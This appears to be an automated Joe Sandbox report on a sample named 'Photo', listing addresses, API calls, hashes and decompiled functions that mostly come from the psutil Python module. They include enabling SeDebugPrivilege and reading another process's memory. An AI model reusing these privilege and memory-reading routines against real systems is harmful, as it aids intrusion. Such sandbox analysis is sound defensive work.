0x02787b4b
0x02787bbe
0x02787bbe
0x02787bc2
0x02787bc4
0x02787bcb
0x02787bcf
0x02787bd2
0x02787bd3
0x02787bd8
0x02787bdc
0x02787beb
0x02787bf0
0x02787bfc
0x02787bf2
0x02787bf2
0x02787bf2
0x02787bde
0x02787bde
0x02787bde
0x00000000
0x00000000
0x00000000
0x00000000
0x02787b4b
0x02787b13
0x02787ac4
0x02787ac4
0x02787ac8
0x00000000
0x02787ace
0x02787ace
0x02787ad3
0x02787ad6
0x02787ad9
0x02787ada
0x02787ada
0x00000000
0x02787ada
0x02787ac8
0x00000000
0x02787b37
0x02787b37
0x02787b37
0x00000000
0x02787b43
0x02787a7d
0x027879f8
0x027879f8
0x027879fc
0x00000000
0x02787a02
0x02787a02
0x02787a07
0x02787a0a
0x02787a0d
0x02787a0e
0x02787a0e
0x00000000
0x02787a0e
0x027879fc
0x00000000
0x02788306
0x02788306
0x0278830d
0x0278830d
0x02788317
0x02788317
0x0278831f
0x00000000
0x02788321
0x02788321
0x02788325
0x0278832a
0x02788335
0x02788335
0x00000000
0x02788335
0x0278832a
0x0278831f
0x027879cc
0x02788355
0x02788355
0x02788358
0x02788359
0x0278835a
0x0278835b
0x0278835c
0x0278835f
0x02788362
0x02788362
0x02788364
0x0278836b
0x0278836d
0x0278836d
0x0278836e
0x0278836e
0x02788372
0x02788374
0x02788374
0x02788376
0x02788377
0x02788379
0x02788379
0x0278837e
0x0278837e
0x0278837e
0x0278837e
0x02788380
0x02788381
0x02788383
0x02788383
0x02788387
0x02788387
0x0278838c
0x0278838e
0x02788391
0x02788395
0x02788398
0x02788398
0x02788398
0x0278839a
0x0278839c
0x0278839f
0x027883a1
0x027883a3
0x027883a6
0x027883a8
0x027883aa
0x027883aa
0x027883b0
0x027883b0
0x027883b0
0x027883b2
0x027883b2
0x027883b4
0x00000000
0x00000000
0x027883b6
0x027883b9
0x027883c0
0x027883c3
0x027883c3
0x027883cc
0x027883cc
0x027883cc
0x027883cd
0x027883cd
0x027883cf
0x027883d0
0x027883d2
0x00000000
0x00000000
0x027883d4
0x027883d6
0x027883d8
0x027883db
0x027883dc
0x027883dd
0x027883dd
0x027883de
0x027883de
0x027883e0
0x027883e1
0x027883e4
0x027883ea
0x027883ea
0x027883ec
0x027883f5
0x027883f6
0x027883f6
0x027883f8
0x027883ee
0x027883ee
0x027883f0
0x00000000
0x027883f0
0x00000000
0x027883ec
0x027883cd
0x027883fb
0x027883fb
0x027883fe
0x027883fe
0x02788401
0x02788401
0x02788403
0x02788405
0x02788406
0x02788406
0x02788408
0x00000000
0x00000000
0x0278840a
0x0278840c
0x0278841f
0x02788421
0x02788424
0x02788427
0x02788427
0x0278840e
0x02788410
0x02788412
0x02788412
0x02788412
0x02788414
0x02788417
0x02788417
0x02788417
0x02788419
0x0278841b
0x0278841b
0x0278842c
0x02788432
0x02788432
0x02788438
0x0278843d
0x02788443
0x02788445
0x02788445
0x0278844b
0x0278844e
0x0278844e
0x0278844e
0x02788452
0x02788458
0x0278845a
0x0278845b
0x0278845c
0x02788460
0x02788460
0x02788462
0x02788462
0x02788466
0x00000000
0x02788466
0x0278832e
0x0278832e
0x00000000
0x0278832e
0x00000000

APIs

VirtualProtect.KERNEL32(-00001000,00001000,00000004,?,00000000), ref: 02788443
VirtualProtect.KERNEL32(-00001000,00001000), ref: 02788458

Memory Dump Source

Source File: 00000001.00000002.428396427.0000000002786000.00000040.00000001.01000000.0000000B.sdmp, Offset: 02780000, based on PE: true

Associated: 00000001.00000002.428389719.0000000002780000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.428396427.0000000002781000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.428423823.0000000002789000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2780000_Photo.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8776195352b2d5b7e26ae2a4d7a92d84a577d8550c0e7de1771eb6ecc1a99bf4
Instruction ID: c93b66cd77669e1ecd0175e2dd5f49310d113acec7124ff8ed84bf5ef9e5a834
Opcode Fuzzy Hash: 8776195352b2d5b7e26ae2a4d7a92d84a577d8550c0e7de1771eb6ecc1a99bf4
Instruction Fuzzy Hash: BF72BB355083598FD324DF28C88066AFBE1FF85384F554A2DE9AACB351E731E945CB42

Uniqueness

Uniqueness Score: -1.00%

Function 02767FF0 Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E02767FF0(void* __eflags) {
				void* _t2;

				if(E02767CA0(__eflags) == 0) {
					_t2 = E02767EE0();
					__eflags = _t2;
					if(_t2 != 0) {
						goto L1;
					} else {
						GetSystemInfo(0x276db80); // executed
						__eflags = 0;
						return 0;
					}
				} else {
					L1:
					return 1;
				}
			}

0x02767ff7
0x02767fff
0x02768004
0x02768006
0x00000000
0x02768008
0x0276800d
0x02768013
0x02768015
0x02768015
0x02767ff9
0x02767ff9
0x02767ffe
0x02767ffe

APIs

GetSystemInfo.KERNEL32(0276DB80,027659E9), ref: 0276800D

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: c87f5c71c15f1a074855af33167a0f21b2da8b0913a35ec24e4ca83d9166e45d
Instruction ID: b7da2db12a0b2585b8e6a8716b9c4ad12f7af15bcfdf049c64b9fca984d9a5df
Opcode Fuzzy Hash: c87f5c71c15f1a074855af33167a0f21b2da8b0913a35ec24e4ca83d9166e45d
Instruction Fuzzy Hash: 24C04C7436120359BA697675491C7B69686DB457CEF940860ED01C4444FF58C4418910

Uniqueness

Uniqueness Score: -1.00%

Function 1E7AACE0 Relevance: 49.1, APIs: 16, Strings: 12, Instructions: 93
libraryloadermemoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(AdvAPI32.dll), ref: 1E7AACE6
LoadLibraryA.KERNEL32(AdvAPI32.dll), ref: 1E7AACF7
GetProcAddress.KERNEL32(00000000,AddAccessAllowedAce), ref: 1E7AAD14
GetProcAddress.KERNEL32(00000000,AddAccessDeniedAce), ref: 1E7AAD25
GetProcAddress.KERNEL32(00000000,AddAccessAllowedAceEx), ref: 1E7AAD36
GetProcAddress.KERNEL32(00000000,AddMandatoryAce), ref: 1E7AAD47
GetProcAddress.KERNEL32(00000000,AddAccessAllowedObjectAce), ref: 1E7AAD58
GetProcAddress.KERNEL32(00000000,AddAccessDeniedAceEx), ref: 1E7AAD69
GetProcAddress.KERNEL32(00000000,AddAccessDeniedObjectAce), ref: 1E7AAD7A
GetProcAddress.KERNEL32(00000000,AddAuditAccessAceEx), ref: 1E7AAD8B
GetProcAddress.KERNEL32(00000000,AddAuditAccessObjectAce), ref: 1E7AAD9C
GetProcAddress.KERNEL32(00000000,SetSecurityDescriptorControl), ref: 1E7AADAD
RtlInitializeCriticalSection.NTDLL(1E7BA82C), ref: 1E7AADCD
TlsAlloc.KERNEL32 ref: 1E7AADD3
RtlDeleteCriticalSection.NTDLL(1E7BA82C), ref: 1E7AADEB
TlsFree.KERNEL32(0000001E), ref: 1E7AADF7

Strings

AddAccessAllowedAce, xrefs: 1E7AAD0E
AddMandatoryAce, xrefs: 1E7AAD41
AdvAPI32.dll, xrefs: 1E7AACF2
AddAccessDeniedObjectAce, xrefs: 1E7AAD74
AddAccessAllowedObjectAce, xrefs: 1E7AAD52
AddAccessAllowedAceEx, xrefs: 1E7AAD30
AddAccessDeniedAceEx, xrefs: 1E7AAD63
AdvAPI32.dll, xrefs: 1E7AACE1
AddAuditAccessAceEx, xrefs: 1E7AAD85
AddAuditAccessObjectAce, xrefs: 1E7AAD96
AddAccessDeniedAce, xrefs: 1E7AAD1F
SetSecurityDescriptorControl, xrefs: 1E7AADA7

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: AddressProc$CriticalSection$AllocDeleteFreeHandleInitializeLibraryLoadModule
String ID: AddAccessAllowedAce$AddAccessAllowedAceEx$AddAccessAllowedObjectAce$AddAccessDeniedAce$AddAccessDeniedAceEx$AddAccessDeniedObjectAce$AddAuditAccessAceEx$AddAuditAccessObjectAce$AddMandatoryAce$AdvAPI32.dll$AdvAPI32.dll$SetSecurityDescriptorControl
API String ID: 3842108915-2837477449
Opcode ID: 6a85e54d232ae245f90c38ea5591fad26924d9114178a61a040f1352046b848e
Instruction ID: e4b007d19bfe567fcd06646b113f23806bbe094c5fc45cf829de93aa7fb5f3b3
Opcode Fuzzy Hash: 6a85e54d232ae245f90c38ea5591fad26924d9114178a61a040f1352046b848e
Instruction Fuzzy Hash: C72121719016266BF301BB359C54EAB36EDEF99783B064325E940D2628EB25C502CFB5

Uniqueness

Uniqueness Score: -1.00%

Function 027670D0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 20%

			E027670D0() {
				void* __edi;
				void* _t14;

				_t14 = E02767000();
				if(_t14 != 0) {
					if(E02766F10("SeDebugPrivilege", _t14, 1) != 0) {
						E02767090(); // executed
					}
					RevertToSelf(); // executed
					FindCloseChangeNotification(_t14); // executed
					return 0;
				} else {
					_push("psutil module couldn\'t set SE DEBUG mode for this process; please file an issue against psutil bug tracker");
					E02761160();
					if(GetLastError() != 5) {
						 *0x2769304( *((intOrPtr*)( *0x2769300)), "psutil module couldn\'t set SE DEBUG mode for this process; please file an issue against psutil bug tracker", 1);
					}
					 *0x2769288();
					return 0;
				}
			}

0x027670d6
0x027670da
0x02767127
0x02767129
0x02767129
0x0276712e
0x02767135
0x0276713e
0x027670dc
0x027670dc
0x027670e1
0x027670f2
0x02767103
0x02767109
0x0276710c
0x02767115
0x02767115

APIs

Part of subcall function 02767000: GetCurrentProcess.KERNEL32(?,00000000,?,027670D6), ref: 0276700B
Part of subcall function 02767000: OpenProcessToken.ADVAPI32(00000000,00000028,00000000,?,00000000,?,027670D6), ref: 02767021
Part of subcall function 02767000: GetLastError.KERNEL32(?,00000000,?,027670D6), ref: 02767027
Part of subcall function 02767000: ImpersonateSelf.ADVAPI32(00000002,?,00000000,?,027670D6), ref: 02767036

GetLastError.KERNEL32(027659F6), ref: 027670E9
PyErr_WarnEx.PYTHON27(?,psutil module couldn't set SE DEBUG mode for this process; please file an issue against psutil bug tracker,00000001), ref: 02767103
PyErr_Clear.PYTHON27 ref: 0276710C
RevertToSelf.KERNELBASE(027659F6), ref: 0276712E
FindCloseChangeNotification.KERNEL32(00000000), ref: 02767135

Strings

SeDebugPrivilege, xrefs: 02767118
psutil module couldn't set SE DEBUG mode for this process; please file an issue against psutil bug tracker, xrefs: 027670DC, 027670FD

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Err_ErrorLastProcessSelf$ChangeClearCloseCurrentFindImpersonateNotificationOpenRevertTokenWarn
String ID: SeDebugPrivilege$psutil module couldn't set SE DEBUG mode for this process; please file an issue against psutil bug tracker
API String ID: 10321130-1858787864
Opcode ID: 44496a18e896f0c2baa59b5d942956abe846614bebdab0cf7dde13d872288143
Instruction ID: 0e1a23f0b5befc23d476173674d63e1d887eb05e7c53f74e32690bbbf592118e
Opcode Fuzzy Hash: 44496a18e896f0c2baa59b5d942956abe846614bebdab0cf7dde13d872288143
Instruction Fuzzy Hash: DEF0E270A90201DBE61B6B78BD0D63B7322DBC6389B444820FE02C6245EF72C060CA22

Uniqueness

Uniqueness Score: -1.00%

Function 02767BE0 Relevance: 10.5, APIs: 7, Instructions: 40
librarythreadloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 28%

			E02767BE0(CHAR* _a4, CHAR* _a8) {
				void* _t3;
				struct HINSTANCE__* _t4;
				_Unknown_base(*)()* _t6;
				CHAR* _t12;
				CHAR* _t14;
				struct HINSTANCE__* _t15;

				_t3 =  *0x2769298();
				_t12 = _a4;
				_t4 = LoadLibraryA(_t12); // executed
				_t15 = _t4;
				 *0x276929c(_t3);
				if(_t15 != 0) {
					_t14 = _a8;
					_t6 = GetProcAddress(_t15, _t14);
					if(_t6 == 0) {
						 *0x27692cc(_t6, _t14);
						FreeLibrary(_t15);
						return 0;
					}
					return _t6;
				} else {
					 *0x27692cc(_t15, _t12);
					return 0;
				}
			}

0x02767be3
0x02767be9
0x02767bf0
0x02767bf7
0x02767bf9
0x02767c04
0x02767c17
0x02767c1d
0x02767c25
0x02767c29
0x02767c33
0x00000000
0x02767c39
0x02767c3e
0x02767c06
0x02767c08
0x02767c16
0x02767c16

APIs

PyEval_SaveThread.PYTHON27(?,00000000,?,02767CAF,ntdll.dll,NtQuerySystemInformation,02767FF5,027659E9), ref: 02767BE3
LoadLibraryA.KERNEL32(?,?,00000000,?,02767CAF,ntdll.dll,NtQuerySystemInformation,02767FF5,027659E9), ref: 02767BF0
PyEval_RestoreThread.PYTHON27(00000000,?,00000000,?,02767CAF,ntdll.dll,NtQuerySystemInformation,02767FF5,027659E9), ref: 02767BF9
PyErr_SetFromWindowsErrWithFilename.PYTHON27(00000000,?,027659E9), ref: 02767C08
GetProcAddress.KERNEL32(00000000,?), ref: 02767C1D
PyErr_SetFromWindowsErrWithFilename.PYTHON27(00000000,?), ref: 02767C29
FreeLibrary.KERNEL32(00000000), ref: 02767C33

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Err_Eval_FilenameFromLibraryThreadWindowsWith$AddressFreeLoadProcRestoreSave
String ID:
API String ID: 568911590-0
Opcode ID: 10581f8ef03101e24269aff4053ffb651c79932c1eec6ce7acb3578224f51168
Instruction ID: 973bcfeeeb83155e36837448c995d1feacc8758c260430a134c28f478be14570
Opcode Fuzzy Hash: 10581f8ef03101e24269aff4053ffb651c79932c1eec6ce7acb3578224f51168
Instruction Fuzzy Hash: B2F08272D42310EFDB11ABB5BC4C95F7BACEEC56667148C35FA05D2100D73488358AB6

Uniqueness

Uniqueness Score: -1.00%

Function 027620B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemTimes.KERNEL32(?,?,?), ref: 027620C2
PyErr_SetFromWindowsErr.PYTHON27(00000000,?,?,?), ref: 027620CC
Py_BuildValue.PYTHON27((ddd),?,?,?,?,?,?), ref: 0276217E

Strings

(ddd), xrefs: 02762179

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: BuildErr_FromSystemTimesValueWindows
String ID: (ddd)
API String ID: 2325294781-2401937087
Opcode ID: 2066b5f42f28955f10d92a5c45f9482c67ef38a8ebf9ee96830210622d668b35
Instruction ID: 783f588703c484d4d9f0be43c53668f66c6ca2a2906af08da5e2a4ddddb72cf6
Opcode Fuzzy Hash: 2066b5f42f28955f10d92a5c45f9482c67ef38a8ebf9ee96830210622d668b35
Instruction Fuzzy Hash: EE21B572F08702E7C305AE11E11C56A7BE5FA98784F65CD0CED8992166FB32C538CAC2

Uniqueness

Uniqueness Score: -1.00%

Function 10003488 Relevance: 1.5, APIs: 1, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 18%

			E10003488() {
				intOrPtr _t2;
				signed int* _t12;
				intOrPtr* _t13;

				_t12 =  *0x10004084(0x80);
				_t2 =  *0x10004080(_t12); // executed
				 *0x10008b34 = _t2;
				 *0x10008b30 = _t2;
				if(_t12 != 0) {
					 *_t12 =  *_t12 & 0x00000000;
					E100038FE();
					E100038E7(__eflags, E10003924);
					 *_t13 = E10003836;
					E100038E7(__eflags);
					__eflags = 0;
					return 0;
				} else {
					return 1;
				}
			}

0x10003496
0x10003499
0x100034a1
0x100034a6
0x100034ad
0x100034b4
0x100034b7
0x100034c1
0x100034c6
0x100034cd
0x100034d3
0x100034d6
0x100034af
0x100034b3
0x100034b3

APIs

__RTC_Initialize.LIBCMT ref: 100034B7

Memory Dump Source

Source File: 00000001.00000002.431765876.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.431757936.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.431765876.0000000010008000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.431765876.000000001000A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.431800148.000000001000B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.431809437.000000001000D000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_Photo.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 4a53ed4d18be5c184c35ab1d22bfa555685dd2b5428533a101efd13f3b8433c1
Instruction ID: 0a5f2cdad4b9e8a8fa1d650622b7c6d117f44d29c5a84e0506a174c568c9220f
Opcode Fuzzy Hash: 4a53ed4d18be5c184c35ab1d22bfa555685dd2b5428533a101efd13f3b8433c1
Instruction Fuzzy Hash: 32E09AB28086625FF392AB65B84569B3BD8EF002E1B12C069F5C0C2249EF305901C755

Uniqueness

Uniqueness Score: -1.00%

Function 1E7ABABB Relevance: 1.5, APIs: 1, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 1E7ABAEA

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: ea6d3d6964b724c240e52a5fc309e9d4751590294fcb26dfb5de448351557c77
Instruction ID: 43b02040d0a6cc3926cfcddf49c999caf01b66241ca1dee941c38dc4c1406b1e
Opcode Fuzzy Hash: ea6d3d6964b724c240e52a5fc309e9d4751590294fcb26dfb5de448351557c77
Instruction Fuzzy Hash: CAE092765082606BF3687FB0B9086AB3A94EBC5331F1A4B19E695C2150DF604441CAD1

Uniqueness

Uniqueness Score: -1.00%

Function 02782666 Relevance: 1.5, APIs: 1, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 18%

			E02782666() {
				intOrPtr _t2;
				signed int* _t12;
				intOrPtr* _t13;

				_t12 =  *0x27830a4(0x80);
				_t2 =  *0x27830a0(_t12); // executed
				 *0x2784bec = _t2;
				 *0x2784be8 = _t2;
				if(_t12 != 0) {
					 *_t12 =  *_t12 & 0x00000000;
					E02782ADC();
					E02782AC5(__eflags, E02782B02);
					 *_t13 = E02782A14;
					E02782AC5(__eflags);
					__eflags = 0;
					return 0;
				} else {
					return 1;
				}
			}

0x02782674
0x02782677
0x0278267f
0x02782684
0x0278268b
0x02782692
0x02782695
0x0278269f
0x027826a4
0x027826ab
0x027826b1
0x027826b4
0x0278268d
0x02782691
0x02782691

APIs

__RTC_Initialize.LIBCMT ref: 02782695

Memory Dump Source

Source File: 00000001.00000002.428396427.0000000002781000.00000040.00000001.01000000.0000000B.sdmp, Offset: 02780000, based on PE: true

Associated: 00000001.00000002.428389719.0000000002780000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.428396427.0000000002786000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.428423823.0000000002789000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2780000_Photo.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 13fe4816cc96263b20cfcc4b3eeb8842ab0b5fcd41a5e977f5652fda3c78ba29
Instruction ID: 9802d1b52cec3fb2749fd8faadb6513d60099856bee48355944aa8281fa92291
Opcode Fuzzy Hash: 13fe4816cc96263b20cfcc4b3eeb8842ab0b5fcd41a5e977f5652fda3c78ba29
Instruction Fuzzy Hash: B0E09236AC81514FE365BFB578087562FD1DF44732F21885AEC4095242EE7048418E6A

Uniqueness

Uniqueness Score: -1.00%

Function 02768370 Relevance: 1.5, APIs: 1, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 18%

			E02768370() {
				intOrPtr _t2;
				signed int* _t12;
				intOrPtr* _t13;

				_t12 =  *0x27691f0(0x80);
				_t2 =  *0x27691f4(_t12); // executed
				 *0x276dc30 = _t2;
				 *0x276dc2c = _t2;
				if(_t12 != 0) {
					 *_t12 =  *_t12 & 0x00000000;
					E027687E6();
					E027687CF(__eflags, E0276880C);
					 *_t13 = E0276871E;
					E027687CF(__eflags);
					__eflags = 0;
					return 0;
				} else {
					return 1;
				}
			}

0x0276837e
0x02768381
0x02768389
0x0276838e
0x02768395
0x0276839c
0x0276839f
0x027683a9
0x027683ae
0x027683b5
0x027683bb
0x027683be
0x02768397
0x0276839b
0x0276839b

APIs

__RTC_Initialize.LIBCMT ref: 0276839F

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 0624291f8ed437181207a3663b826253a912f11f4873d9cfe370e0a90096f01d
Instruction ID: 95bfef4dc7258ae076910960680bdca231a5c59ed8a8541537e0829fc54b21bc
Opcode Fuzzy Hash: 0624291f8ed437181207a3663b826253a912f11f4873d9cfe370e0a90096f01d
Instruction Fuzzy Hash: CCE09233A683168FE3657FB1740C2792BD2EB40731B154819E98082140EFB044058E52

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02766100 Relevance: 54.5, APIs: 14, Strings: 17, Instructions: 280
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E02766100(long __eax, void* _a4) {
				long* _v20;
				void** _v24;
				char _v64;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				signed short _v164;
				intOrPtr _v208;
				intOrPtr _v212;
				signed short _v220;
				char _v248;
				intOrPtr _v252;
				intOrPtr _v256;
				char _v260;
				void* _v264;
				signed short _v268;
				void* _v292;
				signed short _v296;
				void _v332;
				void _v340;
				void* _v352;
				char _v356;
				void* _v360;
				intOrPtr _v368;
				intOrPtr _v372;
				void _v376;
				long _v380;
				void* _v384;
				void* _v388;
				intOrPtr _v392;
				void* _v396;
				intOrPtr _v452;
				intOrPtr _v456;
				void* __esi;
				int _t55;
				void* _t58;
				void* _t63;
				void* _t64;
				void* _t66;
				void* _t68;
				int _t72;
				void* _t75;
				void* _t77;
				void* _t80;
				intOrPtr* _t83;
				void* _t84;
				void* _t86;
				void* _t88;
				void* _t90;
				void* _t91;
				void* _t95;
				void* _t100;
				void* _t122;
				long _t123;
				intOrPtr* _t124;
				long _t126;
				void* _t128;
				void* _t129;
				void* _t130;

				_t128 = _a4;
				_t123 = __eax;
				_t100 = 0;
				if(__eax != 0) {
					_t55 = E02766060(__eflags, OpenProcess(0x1410, 0, __eax), _t123);
					_t130 = _t129 + 8;
				} else {
					_t55 = E027610D0(0x276d7f9);
					_t130 = _t129 + 4;
				}
				_t122 = _t55;
				if(_t122 == 0) {
					L59:
					return _t55 | 0xffffffff;
				} else {
					_push( &_v356);
					_t58 = GetCurrentProcess();
					_t124 =  *0x27690d8;
					_push(_t58);
					if( *_t124() == 0) {
						L54:
						_push("IsWow64Process");
						goto L55;
					} else {
						_push( &_v360);
						_push(_t122);
						if( *_t124() == 0) {
							goto L54;
						} else {
							if(_v372 == _t100 || _v368 != _t100) {
								_t63 = NtQueryInformationProcess(_t122, 0,  &_v340, 0x18, 0);
								__eflags = _t63;
								if(_t63 >= 0) {
									_t64 = ReadProcessMemory(_t122, _v352,  &_v376, 0x14, 0);
									__eflags = _t64;
									if(_t64 != 0) {
										_t66 = ReadProcessMemory(_t122, _v360,  &_v332, 0x4c, 0);
										__eflags = _t66;
										if(_t66 != 0) {
											_t68 = _t128;
											__eflags = _t68;
											if(_t68 == 0) {
												_t126 = _v268 & 0x0000ffff;
												_v396 = _v264;
												goto L45;
											} else {
												_t77 = _t68 - 1;
												__eflags = _t77;
												if(_t77 == 0) {
													_t126 = _v296 & 0x0000ffff;
													_v396 = _v292;
													goto L45;
												} else {
													__eflags = _t77 != 1;
													if(_t77 != 1) {
														goto L39;
													} else {
														_v396 = _v260;
														goto L40;
													}
												}
											}
										} else {
											_push("ReadProcessMemory(ProcessParameters)");
											goto L55;
										}
									} else {
										_push("ReadProcessMemory");
										goto L55;
									}
								} else {
									_push("NtQueryInformationProcess(ProcessBasicInformation)");
									E02767C40(_t63);
									goto L57;
								}
							} else {
								_t83 =  *0x276d7fc; // 0x0
								if(_t83 != 0) {
									L11:
									__eflags =  *0x276d800 - _t100; // 0x0
									if(__eflags != 0) {
										L15:
										_t84 =  *_t83(_t122, 0,  &_v64, 0x30, 0);
										__eflags = _t84;
										if(_t84 >= 0) {
											_t86 =  *0x276d800(_t122, _v76, _v72,  &_v260, 0x28, 0, 0);
											__eflags = _t86;
											if(_t86 >= 0) {
												_t88 =  *0x276d800(_t122, _v256, _v252,  &_v248, 0x88, 0, 0);
												__eflags = _t88;
												if(_t88 >= 0) {
													_t90 = _t128;
													__eflags = _t90;
													if(_t90 == 0) {
														_t126 = _v164 & 0x0000ffff;
														_v456 = _v156;
														_v452 = _v152;
														goto L45;
													} else {
														_t91 = _t90 - 1;
														__eflags = _t91;
